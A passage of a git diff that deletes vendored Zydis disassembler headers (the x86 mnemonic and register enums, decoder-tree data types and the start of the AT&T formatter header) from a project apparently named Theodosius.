ZYDIS_MNEMONIC_VPSRLD, - ZYDIS_MNEMONIC_VPSRLDQ, - ZYDIS_MNEMONIC_VPSRLQ, - ZYDIS_MNEMONIC_VPSRLVD, - ZYDIS_MNEMONIC_VPSRLVQ, - ZYDIS_MNEMONIC_VPSRLVW, - ZYDIS_MNEMONIC_VPSRLW, - ZYDIS_MNEMONIC_VPSUBB, - ZYDIS_MNEMONIC_VPSUBD, - ZYDIS_MNEMONIC_VPSUBQ, - ZYDIS_MNEMONIC_VPSUBRD, - ZYDIS_MNEMONIC_VPSUBRSETBD, - ZYDIS_MNEMONIC_VPSUBSB, - ZYDIS_MNEMONIC_VPSUBSETBD, - ZYDIS_MNEMONIC_VPSUBSW, - ZYDIS_MNEMONIC_VPSUBUSB, - ZYDIS_MNEMONIC_VPSUBUSW, - ZYDIS_MNEMONIC_VPSUBW, - ZYDIS_MNEMONIC_VPTERNLOGD, - ZYDIS_MNEMONIC_VPTERNLOGQ, - ZYDIS_MNEMONIC_VPTEST, - ZYDIS_MNEMONIC_VPTESTMB, - ZYDIS_MNEMONIC_VPTESTMD, - ZYDIS_MNEMONIC_VPTESTMQ, - ZYDIS_MNEMONIC_VPTESTMW, - ZYDIS_MNEMONIC_VPTESTNMB, - ZYDIS_MNEMONIC_VPTESTNMD, - ZYDIS_MNEMONIC_VPTESTNMQ, - ZYDIS_MNEMONIC_VPTESTNMW, - ZYDIS_MNEMONIC_VPUNPCKHBW, - ZYDIS_MNEMONIC_VPUNPCKHDQ, - ZYDIS_MNEMONIC_VPUNPCKHQDQ, - ZYDIS_MNEMONIC_VPUNPCKHWD, - ZYDIS_MNEMONIC_VPUNPCKLBW, - ZYDIS_MNEMONIC_VPUNPCKLDQ, - ZYDIS_MNEMONIC_VPUNPCKLQDQ, - ZYDIS_MNEMONIC_VPUNPCKLWD, - ZYDIS_MNEMONIC_VPXOR, - ZYDIS_MNEMONIC_VPXORD, - ZYDIS_MNEMONIC_VPXORQ, - ZYDIS_MNEMONIC_VRANGEPD, - ZYDIS_MNEMONIC_VRANGEPS, - ZYDIS_MNEMONIC_VRANGESD, - ZYDIS_MNEMONIC_VRANGESS, - ZYDIS_MNEMONIC_VRCP14PD, - ZYDIS_MNEMONIC_VRCP14PS, - ZYDIS_MNEMONIC_VRCP14SD, - ZYDIS_MNEMONIC_VRCP14SS, - ZYDIS_MNEMONIC_VRCP23PS, - ZYDIS_MNEMONIC_VRCP28PD, - ZYDIS_MNEMONIC_VRCP28PS, - ZYDIS_MNEMONIC_VRCP28SD, - ZYDIS_MNEMONIC_VRCP28SS, - ZYDIS_MNEMONIC_VRCPPS, - ZYDIS_MNEMONIC_VRCPSS, - ZYDIS_MNEMONIC_VREDUCEPD, - ZYDIS_MNEMONIC_VREDUCEPS, - ZYDIS_MNEMONIC_VREDUCESD, - ZYDIS_MNEMONIC_VREDUCESS, - ZYDIS_MNEMONIC_VRNDFXPNTPD, - ZYDIS_MNEMONIC_VRNDFXPNTPS, - ZYDIS_MNEMONIC_VRNDSCALEPD, - ZYDIS_MNEMONIC_VRNDSCALEPS, - ZYDIS_MNEMONIC_VRNDSCALESD, - ZYDIS_MNEMONIC_VRNDSCALESS, - ZYDIS_MNEMONIC_VROUNDPD, - ZYDIS_MNEMONIC_VROUNDPS, - ZYDIS_MNEMONIC_VROUNDSD, - ZYDIS_MNEMONIC_VROUNDSS, - ZYDIS_MNEMONIC_VRSQRT14PD, - ZYDIS_MNEMONIC_VRSQRT14PS, - ZYDIS_MNEMONIC_VRSQRT14SD, - ZYDIS_MNEMONIC_VRSQRT14SS, - ZYDIS_MNEMONIC_VRSQRT23PS, - ZYDIS_MNEMONIC_VRSQRT28PD, - ZYDIS_MNEMONIC_VRSQRT28PS, - ZYDIS_MNEMONIC_VRSQRT28SD, - ZYDIS_MNEMONIC_VRSQRT28SS, - ZYDIS_MNEMONIC_VRSQRTPS, - ZYDIS_MNEMONIC_VRSQRTSS, - ZYDIS_MNEMONIC_VSCALEFPD, - ZYDIS_MNEMONIC_VSCALEFPS, - ZYDIS_MNEMONIC_VSCALEFSD, - ZYDIS_MNEMONIC_VSCALEFSS, - ZYDIS_MNEMONIC_VSCALEPS, - ZYDIS_MNEMONIC_VSCATTERDPD, - ZYDIS_MNEMONIC_VSCATTERDPS, - ZYDIS_MNEMONIC_VSCATTERPF0DPD, - ZYDIS_MNEMONIC_VSCATTERPF0DPS, - ZYDIS_MNEMONIC_VSCATTERPF0HINTDPD, - ZYDIS_MNEMONIC_VSCATTERPF0HINTDPS, - ZYDIS_MNEMONIC_VSCATTERPF0QPD, - ZYDIS_MNEMONIC_VSCATTERPF0QPS, - ZYDIS_MNEMONIC_VSCATTERPF1DPD, - ZYDIS_MNEMONIC_VSCATTERPF1DPS, - ZYDIS_MNEMONIC_VSCATTERPF1QPD, - ZYDIS_MNEMONIC_VSCATTERPF1QPS, - ZYDIS_MNEMONIC_VSCATTERQPD, - ZYDIS_MNEMONIC_VSCATTERQPS, - ZYDIS_MNEMONIC_VSHUFF32X4, - ZYDIS_MNEMONIC_VSHUFF64X2, - ZYDIS_MNEMONIC_VSHUFI32X4, - ZYDIS_MNEMONIC_VSHUFI64X2, - ZYDIS_MNEMONIC_VSHUFPD, - ZYDIS_MNEMONIC_VSHUFPS, - ZYDIS_MNEMONIC_VSQRTPD, - ZYDIS_MNEMONIC_VSQRTPS, - ZYDIS_MNEMONIC_VSQRTSD, - ZYDIS_MNEMONIC_VSQRTSS, - ZYDIS_MNEMONIC_VSTMXCSR, - ZYDIS_MNEMONIC_VSUBPD, - ZYDIS_MNEMONIC_VSUBPS, - ZYDIS_MNEMONIC_VSUBRPD, - ZYDIS_MNEMONIC_VSUBRPS, - ZYDIS_MNEMONIC_VSUBSD, - ZYDIS_MNEMONIC_VSUBSS, - ZYDIS_MNEMONIC_VTESTPD, - ZYDIS_MNEMONIC_VTESTPS, - ZYDIS_MNEMONIC_VUCOMISD, - ZYDIS_MNEMONIC_VUCOMISS, - ZYDIS_MNEMONIC_VUNPCKHPD, - ZYDIS_MNEMONIC_VUNPCKHPS, - ZYDIS_MNEMONIC_VUNPCKLPD, - ZYDIS_MNEMONIC_VUNPCKLPS, - ZYDIS_MNEMONIC_VXORPD, - ZYDIS_MNEMONIC_VXORPS, - ZYDIS_MNEMONIC_VZEROALL, - ZYDIS_MNEMONIC_VZEROUPPER, - ZYDIS_MNEMONIC_WBINVD, - ZYDIS_MNEMONIC_WRFSBASE, - ZYDIS_MNEMONIC_WRGSBASE, - ZYDIS_MNEMONIC_WRMSR, - ZYDIS_MNEMONIC_WRPKRU, - ZYDIS_MNEMONIC_WRSSD, - ZYDIS_MNEMONIC_WRSSQ, - ZYDIS_MNEMONIC_WRUSSD, - ZYDIS_MNEMONIC_WRUSSQ, - ZYDIS_MNEMONIC_XABORT, - ZYDIS_MNEMONIC_XADD, - ZYDIS_MNEMONIC_XBEGIN, - ZYDIS_MNEMONIC_XCHG, - ZYDIS_MNEMONIC_XCRYPT_CBC, - ZYDIS_MNEMONIC_XCRYPT_CFB, - ZYDIS_MNEMONIC_XCRYPT_CTR, - ZYDIS_MNEMONIC_XCRYPT_ECB, - ZYDIS_MNEMONIC_XCRYPT_OFB, - ZYDIS_MNEMONIC_XEND, - ZYDIS_MNEMONIC_XGETBV, - ZYDIS_MNEMONIC_XLAT, - ZYDIS_MNEMONIC_XOR, - ZYDIS_MNEMONIC_XORPD, - ZYDIS_MNEMONIC_XORPS, - ZYDIS_MNEMONIC_XRESLDTRK, - ZYDIS_MNEMONIC_XRSTOR, - ZYDIS_MNEMONIC_XRSTOR64, - ZYDIS_MNEMONIC_XRSTORS, - ZYDIS_MNEMONIC_XRSTORS64, - ZYDIS_MNEMONIC_XSAVE, - ZYDIS_MNEMONIC_XSAVE64, - ZYDIS_MNEMONIC_XSAVEC, - ZYDIS_MNEMONIC_XSAVEC64, - ZYDIS_MNEMONIC_XSAVEOPT, - ZYDIS_MNEMONIC_XSAVEOPT64, - ZYDIS_MNEMONIC_XSAVES, - ZYDIS_MNEMONIC_XSAVES64, - ZYDIS_MNEMONIC_XSETBV, - ZYDIS_MNEMONIC_XSHA1, - ZYDIS_MNEMONIC_XSHA256, - ZYDIS_MNEMONIC_XSTORE, - ZYDIS_MNEMONIC_XSUSLDTRK, - ZYDIS_MNEMONIC_XTEST, - - /** - * Maximum value of this enum. - */ - ZYDIS_MNEMONIC_MAX_VALUE = ZYDIS_MNEMONIC_XTEST, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MNEMONIC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MNEMONIC_MAX_VALUE) -} ZydisMnemonic; \ No newline at end of file diff --git a/src/Theodosius/Zydis/Generated/EnumRegister.h b/src/Theodosius/Zydis/Generated/EnumRegister.h deleted file mode 100644 index 3135fe0..0000000 --- a/src/Theodosius/Zydis/Generated/EnumRegister.h +++ /dev/null @@ -1,301 +0,0 @@ -/** - * Defines the `ZydisRegister` enum. - */ -typedef enum ZydisRegister_ -{ - ZYDIS_REGISTER_NONE, - - // General purpose registers 8-bit - ZYDIS_REGISTER_AL, - ZYDIS_REGISTER_CL, - ZYDIS_REGISTER_DL, - ZYDIS_REGISTER_BL, - ZYDIS_REGISTER_AH, - ZYDIS_REGISTER_CH, - ZYDIS_REGISTER_DH, - ZYDIS_REGISTER_BH, - ZYDIS_REGISTER_SPL, - ZYDIS_REGISTER_BPL, - ZYDIS_REGISTER_SIL, - ZYDIS_REGISTER_DIL, - ZYDIS_REGISTER_R8B, - ZYDIS_REGISTER_R9B, - ZYDIS_REGISTER_R10B, - ZYDIS_REGISTER_R11B, - ZYDIS_REGISTER_R12B, - ZYDIS_REGISTER_R13B, - ZYDIS_REGISTER_R14B, - ZYDIS_REGISTER_R15B, - // General purpose registers 16-bit - ZYDIS_REGISTER_AX, - ZYDIS_REGISTER_CX, - ZYDIS_REGISTER_DX, - ZYDIS_REGISTER_BX, - ZYDIS_REGISTER_SP, - ZYDIS_REGISTER_BP, - ZYDIS_REGISTER_SI, - ZYDIS_REGISTER_DI, - ZYDIS_REGISTER_R8W, - ZYDIS_REGISTER_R9W, - ZYDIS_REGISTER_R10W, - ZYDIS_REGISTER_R11W, - ZYDIS_REGISTER_R12W, - ZYDIS_REGISTER_R13W, - ZYDIS_REGISTER_R14W, - ZYDIS_REGISTER_R15W, - // General purpose registers 32-bit - ZYDIS_REGISTER_EAX, - ZYDIS_REGISTER_ECX, - ZYDIS_REGISTER_EDX, - ZYDIS_REGISTER_EBX, - ZYDIS_REGISTER_ESP, - ZYDIS_REGISTER_EBP, - ZYDIS_REGISTER_ESI, - ZYDIS_REGISTER_EDI, - ZYDIS_REGISTER_R8D, - ZYDIS_REGISTER_R9D, - ZYDIS_REGISTER_R10D, - ZYDIS_REGISTER_R11D, - ZYDIS_REGISTER_R12D, - ZYDIS_REGISTER_R13D, - ZYDIS_REGISTER_R14D, - ZYDIS_REGISTER_R15D, - // General purpose registers 64-bit - ZYDIS_REGISTER_RAX, - ZYDIS_REGISTER_RCX, - ZYDIS_REGISTER_RDX, - ZYDIS_REGISTER_RBX, - ZYDIS_REGISTER_RSP, - ZYDIS_REGISTER_RBP, - ZYDIS_REGISTER_RSI, - ZYDIS_REGISTER_RDI, - ZYDIS_REGISTER_R8, - ZYDIS_REGISTER_R9, - ZYDIS_REGISTER_R10, - ZYDIS_REGISTER_R11, - ZYDIS_REGISTER_R12, - ZYDIS_REGISTER_R13, - ZYDIS_REGISTER_R14, - ZYDIS_REGISTER_R15, - // Floating point legacy registers - ZYDIS_REGISTER_ST0, - ZYDIS_REGISTER_ST1, - ZYDIS_REGISTER_ST2, - ZYDIS_REGISTER_ST3, - ZYDIS_REGISTER_ST4, - ZYDIS_REGISTER_ST5, - ZYDIS_REGISTER_ST6, - ZYDIS_REGISTER_ST7, - ZYDIS_REGISTER_X87CONTROL, - ZYDIS_REGISTER_X87STATUS, - ZYDIS_REGISTER_X87TAG, - // Floating point multimedia registers - ZYDIS_REGISTER_MM0, - ZYDIS_REGISTER_MM1, - ZYDIS_REGISTER_MM2, - ZYDIS_REGISTER_MM3, - ZYDIS_REGISTER_MM4, - ZYDIS_REGISTER_MM5, - ZYDIS_REGISTER_MM6, - ZYDIS_REGISTER_MM7, - // Floating point vector registers 128-bit - ZYDIS_REGISTER_XMM0, - ZYDIS_REGISTER_XMM1, - ZYDIS_REGISTER_XMM2, - ZYDIS_REGISTER_XMM3, - ZYDIS_REGISTER_XMM4, - ZYDIS_REGISTER_XMM5, - ZYDIS_REGISTER_XMM6, - ZYDIS_REGISTER_XMM7, - ZYDIS_REGISTER_XMM8, - ZYDIS_REGISTER_XMM9, - ZYDIS_REGISTER_XMM10, - ZYDIS_REGISTER_XMM11, - ZYDIS_REGISTER_XMM12, - ZYDIS_REGISTER_XMM13, - ZYDIS_REGISTER_XMM14, - ZYDIS_REGISTER_XMM15, - ZYDIS_REGISTER_XMM16, - ZYDIS_REGISTER_XMM17, - ZYDIS_REGISTER_XMM18, - ZYDIS_REGISTER_XMM19, - ZYDIS_REGISTER_XMM20, - ZYDIS_REGISTER_XMM21, - ZYDIS_REGISTER_XMM22, - ZYDIS_REGISTER_XMM23, - ZYDIS_REGISTER_XMM24, - ZYDIS_REGISTER_XMM25, - ZYDIS_REGISTER_XMM26, - ZYDIS_REGISTER_XMM27, - ZYDIS_REGISTER_XMM28, - ZYDIS_REGISTER_XMM29, - ZYDIS_REGISTER_XMM30, - ZYDIS_REGISTER_XMM31, - // Floating point vector registers 256-bit - ZYDIS_REGISTER_YMM0, - ZYDIS_REGISTER_YMM1, - ZYDIS_REGISTER_YMM2, - ZYDIS_REGISTER_YMM3, - ZYDIS_REGISTER_YMM4, - ZYDIS_REGISTER_YMM5, - ZYDIS_REGISTER_YMM6, - ZYDIS_REGISTER_YMM7, - ZYDIS_REGISTER_YMM8, - ZYDIS_REGISTER_YMM9, - ZYDIS_REGISTER_YMM10, - ZYDIS_REGISTER_YMM11, - ZYDIS_REGISTER_YMM12, - ZYDIS_REGISTER_YMM13, - ZYDIS_REGISTER_YMM14, - ZYDIS_REGISTER_YMM15, - ZYDIS_REGISTER_YMM16, - ZYDIS_REGISTER_YMM17, - ZYDIS_REGISTER_YMM18, - ZYDIS_REGISTER_YMM19, - ZYDIS_REGISTER_YMM20, - ZYDIS_REGISTER_YMM21, - ZYDIS_REGISTER_YMM22, - ZYDIS_REGISTER_YMM23, - ZYDIS_REGISTER_YMM24, - ZYDIS_REGISTER_YMM25, - ZYDIS_REGISTER_YMM26, - ZYDIS_REGISTER_YMM27, - ZYDIS_REGISTER_YMM28, - ZYDIS_REGISTER_YMM29, - ZYDIS_REGISTER_YMM30, - ZYDIS_REGISTER_YMM31, - // Floating point vector registers 512-bit - ZYDIS_REGISTER_ZMM0, - ZYDIS_REGISTER_ZMM1, - ZYDIS_REGISTER_ZMM2, - ZYDIS_REGISTER_ZMM3, - ZYDIS_REGISTER_ZMM4, - ZYDIS_REGISTER_ZMM5, - ZYDIS_REGISTER_ZMM6, - ZYDIS_REGISTER_ZMM7, - ZYDIS_REGISTER_ZMM8, - ZYDIS_REGISTER_ZMM9, - ZYDIS_REGISTER_ZMM10, - ZYDIS_REGISTER_ZMM11, - ZYDIS_REGISTER_ZMM12, - ZYDIS_REGISTER_ZMM13, - ZYDIS_REGISTER_ZMM14, - ZYDIS_REGISTER_ZMM15, - ZYDIS_REGISTER_ZMM16, - ZYDIS_REGISTER_ZMM17, - ZYDIS_REGISTER_ZMM18, - ZYDIS_REGISTER_ZMM19, - ZYDIS_REGISTER_ZMM20, - ZYDIS_REGISTER_ZMM21, - ZYDIS_REGISTER_ZMM22, - ZYDIS_REGISTER_ZMM23, - ZYDIS_REGISTER_ZMM24, - ZYDIS_REGISTER_ZMM25, - ZYDIS_REGISTER_ZMM26, - ZYDIS_REGISTER_ZMM27, - ZYDIS_REGISTER_ZMM28, - ZYDIS_REGISTER_ZMM29, - ZYDIS_REGISTER_ZMM30, - ZYDIS_REGISTER_ZMM31, - // Matrix registers - ZYDIS_REGISTER_TMM0, - ZYDIS_REGISTER_TMM1, - ZYDIS_REGISTER_TMM2, - ZYDIS_REGISTER_TMM3, - ZYDIS_REGISTER_TMM4, - ZYDIS_REGISTER_TMM5, - ZYDIS_REGISTER_TMM6, - ZYDIS_REGISTER_TMM7, - // Flags registers - ZYDIS_REGISTER_FLAGS, - ZYDIS_REGISTER_EFLAGS, - ZYDIS_REGISTER_RFLAGS, - // Instruction-pointer registers - ZYDIS_REGISTER_IP, - ZYDIS_REGISTER_EIP, - ZYDIS_REGISTER_RIP, - // Segment registers - ZYDIS_REGISTER_ES, - ZYDIS_REGISTER_CS, - ZYDIS_REGISTER_SS, - ZYDIS_REGISTER_DS, - ZYDIS_REGISTER_FS, - ZYDIS_REGISTER_GS, - // Table registers - ZYDIS_REGISTER_GDTR, - ZYDIS_REGISTER_LDTR, - ZYDIS_REGISTER_IDTR, - ZYDIS_REGISTER_TR, - // Test registers - ZYDIS_REGISTER_TR0, - ZYDIS_REGISTER_TR1, - ZYDIS_REGISTER_TR2, - ZYDIS_REGISTER_TR3, - ZYDIS_REGISTER_TR4, - ZYDIS_REGISTER_TR5, - ZYDIS_REGISTER_TR6, - ZYDIS_REGISTER_TR7, - // Control registers - ZYDIS_REGISTER_CR0, - ZYDIS_REGISTER_CR1, - ZYDIS_REGISTER_CR2, - ZYDIS_REGISTER_CR3, - ZYDIS_REGISTER_CR4, - ZYDIS_REGISTER_CR5, - ZYDIS_REGISTER_CR6, - ZYDIS_REGISTER_CR7, - ZYDIS_REGISTER_CR8, - ZYDIS_REGISTER_CR9, - ZYDIS_REGISTER_CR10, - ZYDIS_REGISTER_CR11, - ZYDIS_REGISTER_CR12, - ZYDIS_REGISTER_CR13, - ZYDIS_REGISTER_CR14, - ZYDIS_REGISTER_CR15, - // Debug registers - ZYDIS_REGISTER_DR0, - ZYDIS_REGISTER_DR1, - ZYDIS_REGISTER_DR2, - ZYDIS_REGISTER_DR3, - ZYDIS_REGISTER_DR4, - ZYDIS_REGISTER_DR5, - ZYDIS_REGISTER_DR6, - ZYDIS_REGISTER_DR7, - ZYDIS_REGISTER_DR8, - ZYDIS_REGISTER_DR9, - ZYDIS_REGISTER_DR10, - ZYDIS_REGISTER_DR11, - ZYDIS_REGISTER_DR12, - ZYDIS_REGISTER_DR13, - ZYDIS_REGISTER_DR14, - ZYDIS_REGISTER_DR15, - // Mask registers - ZYDIS_REGISTER_K0, - ZYDIS_REGISTER_K1, - ZYDIS_REGISTER_K2, - ZYDIS_REGISTER_K3, - ZYDIS_REGISTER_K4, - ZYDIS_REGISTER_K5, - ZYDIS_REGISTER_K6, - ZYDIS_REGISTER_K7, - // Bound registers - ZYDIS_REGISTER_BND0, - ZYDIS_REGISTER_BND1, - ZYDIS_REGISTER_BND2, - ZYDIS_REGISTER_BND3, - ZYDIS_REGISTER_BNDCFG, - ZYDIS_REGISTER_BNDSTATUS, - // Uncategorized - ZYDIS_REGISTER_MXCSR, - ZYDIS_REGISTER_PKRU, - ZYDIS_REGISTER_XCR0, - - /** - * Maximum value of this enum. - */ - ZYDIS_REGISTER_MAX_VALUE = ZYDIS_REGISTER_XCR0, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_REGISTER_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGISTER_MAX_VALUE) -} ZydisRegister; diff --git a/src/Theodosius/Zydis/Internal/DecoderData.h b/src/Theodosius/Zydis/Internal/DecoderData.h deleted file mode 100644 index db6cf53..0000000 --- a/src/Theodosius/Zydis/Internal/DecoderData.h +++ /dev/null @@ -1,331 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -#ifndef ZYDIS_INTERNAL_DECODERDATA_H -#define ZYDIS_INTERNAL_DECODERDATA_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -// MSVC does not like types other than (un-)signed int for bit-fields -#ifdef ZYAN_MSVC -# pragma warning(push) -# pragma warning(disable:4214) -#endif - -#pragma pack(push, 1) - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoder tree */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecoderTreeNodeType` data-type. - */ -typedef ZyanU8 ZydisDecoderTreeNodeType; - -/** - * Values that represent zydis decoder tree node types. - */ -enum ZydisDecoderTreeNodeTypes -{ - ZYDIS_NODETYPE_INVALID = 0x00, - /** - * Reference to an instruction-definition. - */ - ZYDIS_NODETYPE_DEFINITION_MASK = 0x80, - /** - * Reference to an XOP-map filter. - */ - ZYDIS_NODETYPE_FILTER_XOP = 0x01, - /** - * Reference to an VEX-map filter. - */ - ZYDIS_NODETYPE_FILTER_VEX = 0x02, - /** - * Reference to an EVEX/MVEX-map filter. - */ - ZYDIS_NODETYPE_FILTER_EMVEX = 0x03, - /** - * Reference to an opcode filter. - */ - ZYDIS_NODETYPE_FILTER_OPCODE = 0x04, - /** - * Reference to an instruction-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE = 0x05, - /** - * Reference to an compacted instruction-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_COMPACT = 0x06, - /** - * Reference to a ModRM.mod filter. - */ - ZYDIS_NODETYPE_FILTER_MODRM_MOD = 0x07, - /** - * Reference to a compacted ModRM.mod filter. - */ - ZYDIS_NODETYPE_FILTER_MODRM_MOD_COMPACT = 0x08, - /** - * Reference to a ModRM.reg filter. - */ - ZYDIS_NODETYPE_FILTER_MODRM_REG = 0x09, - /** - * Reference to a ModRM.rm filter. - */ - ZYDIS_NODETYPE_FILTER_MODRM_RM = 0x0A, - /** - * Reference to a PrefixGroup1 filter. - */ - ZYDIS_NODETYPE_FILTER_PREFIX_GROUP1 = 0x0B, - /** - * Reference to a mandatory-prefix filter. - */ - ZYDIS_NODETYPE_FILTER_MANDATORY_PREFIX = 0x0C, - /** - * Reference to an operand-size filter. - */ - ZYDIS_NODETYPE_FILTER_OPERAND_SIZE = 0x0D, - /** - * Reference to an address-size filter. - */ - ZYDIS_NODETYPE_FILTER_ADDRESS_SIZE = 0x0E, - /** - * Reference to a vector-length filter. - */ - ZYDIS_NODETYPE_FILTER_VECTOR_LENGTH = 0x0F, - /** - * Reference to an REX/VEX/EVEX.W filter. - */ - ZYDIS_NODETYPE_FILTER_REX_W = 0x10, - /** - * Reference to an REX/VEX/EVEX.B filter. - */ - ZYDIS_NODETYPE_FILTER_REX_B = 0x11, - /** - * Reference to an EVEX.b filter. - */ - ZYDIS_NODETYPE_FILTER_EVEX_B = 0x12, - /** - * Reference to an MVEX.E filter. - */ - ZYDIS_NODETYPE_FILTER_MVEX_E = 0x13, - /** - * Reference to a AMD-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_AMD = 0x14, - /** - * Reference to a KNC-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_KNC = 0x15, - /** - * Reference to a MPX-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_MPX = 0x16, - /** - * Reference to a CET-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_CET = 0x17, - /** - * Reference to a LZCNT-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_LZCNT = 0x18, - /** - * Reference to a TZCNT-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_TZCNT = 0x19, - /** - * Reference to a WBNOINVD-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_WBNOINVD = 0x1A, - /** - * Reference to a CLDEMOTE-mode filter. - */ - ZYDIS_NODETYPE_FILTER_MODE_CLDEMOTE = 0x1B -}; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecoderTreeNodeValue` data-type. - */ -typedef ZyanU16 ZydisDecoderTreeNodeValue; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecoderTreeNode` struct. - */ -typedef struct ZydisDecoderTreeNode_ -{ - ZydisDecoderTreeNodeType type; - ZydisDecoderTreeNodeValue value; -} ZydisDecoderTreeNode; - -/* ---------------------------------------------------------------------------------------------- */ - -#pragma pack(pop) - -#ifdef ZYAN_MSVC -# pragma warning(pop) -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* Physical instruction encoding info */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInstructionEncodingFlags` data-type. - */ -typedef ZyanU8 ZydisInstructionEncodingFlags; - -/** - * The instruction has an optional modrm byte. - */ -#define ZYDIS_INSTR_ENC_FLAG_HAS_MODRM 0x01 - -/** - * The instruction has an optional displacement value. - */ -#define ZYDIS_INSTR_ENC_FLAG_HAS_DISP 0x02 - -/** - * The instruction has an optional immediate value. - */ -#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM0 0x04 - -/** - * The instruction has a second optional immediate value. - */ -#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM1 0x08 - -/** - * The instruction ignores the value of `modrm.mod` and always assumes `modrm.mod == 3` - * ("reg, reg" - form). - * - * Instructions with this flag can't have a SIB byte or a displacement value. - */ -#define ZYDIS_INSTR_ENC_FLAG_FORCE_REG_FORM 0x10 - -/** - * Defines the `ZydisInstructionEncodingInfo` struct. - */ -typedef struct ZydisInstructionEncodingInfo_ -{ - /** - * Contains flags with information about the physical instruction-encoding. - */ - ZydisInstructionEncodingFlags flags; - /** - * Displacement info. - */ - struct - { - /** - * The size of the displacement value. - */ - ZyanU8 size[3]; - } disp; - /** - * Immediate info. - */ - struct - { - /** - * The size of the immediate value. - */ - ZyanU8 size[3]; - /** - * Signals, if the value is signed. - */ - ZyanBool is_signed; - /** - * Signals, if the value is a relative offset. - */ - ZyanBool is_relative; - } imm[2]; -} ZydisInstructionEncodingInfo; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoder tree */ -/* ---------------------------------------------------------------------------------------------- */ - -extern const ZydisDecoderTreeNode zydis_decoder_tree_root; - -/** - * Returns the root node of the instruction tree. - * - * @return The root node of the instruction tree. - */ -ZYAN_INLINE const ZydisDecoderTreeNode* ZydisDecoderTreeGetRootNode(void) -{ - return &zydis_decoder_tree_root; -} - -/** - * Returns the child node of `parent` specified by `index`. - * - * @param parent The parent node. - * @param index The index of the child node to retrieve. - * - * @return The specified child node. - */ -ZYDIS_NO_EXPORT const ZydisDecoderTreeNode* ZydisDecoderTreeGetChildNode( - const ZydisDecoderTreeNode* parent, ZyanU16 index); - -/** - * Returns information about optional instruction parts (like modrm, displacement or - * immediates) for the instruction that is linked to the given `node`. - * - * @param node The instruction definition node. - * @param info A pointer to the `ZydisInstructionParts` struct. - */ -ZYDIS_NO_EXPORT void ZydisGetInstructionEncodingInfo(const ZydisDecoderTreeNode* node, - const ZydisInstructionEncodingInfo** info); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_INTERNAL_DECODERDATA_H */ diff --git a/src/Theodosius/Zydis/Internal/FormatterATT.h b/src/Theodosius/Zydis/Internal/FormatterATT.h deleted file mode 100644 index 08b7134..0000000 --- a/src/Theodosius/Zydis/Internal/FormatterATT.h +++ /dev/null @@ -1,178 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements the `AT&T` style instruction-formatter. - */ - -#ifndef 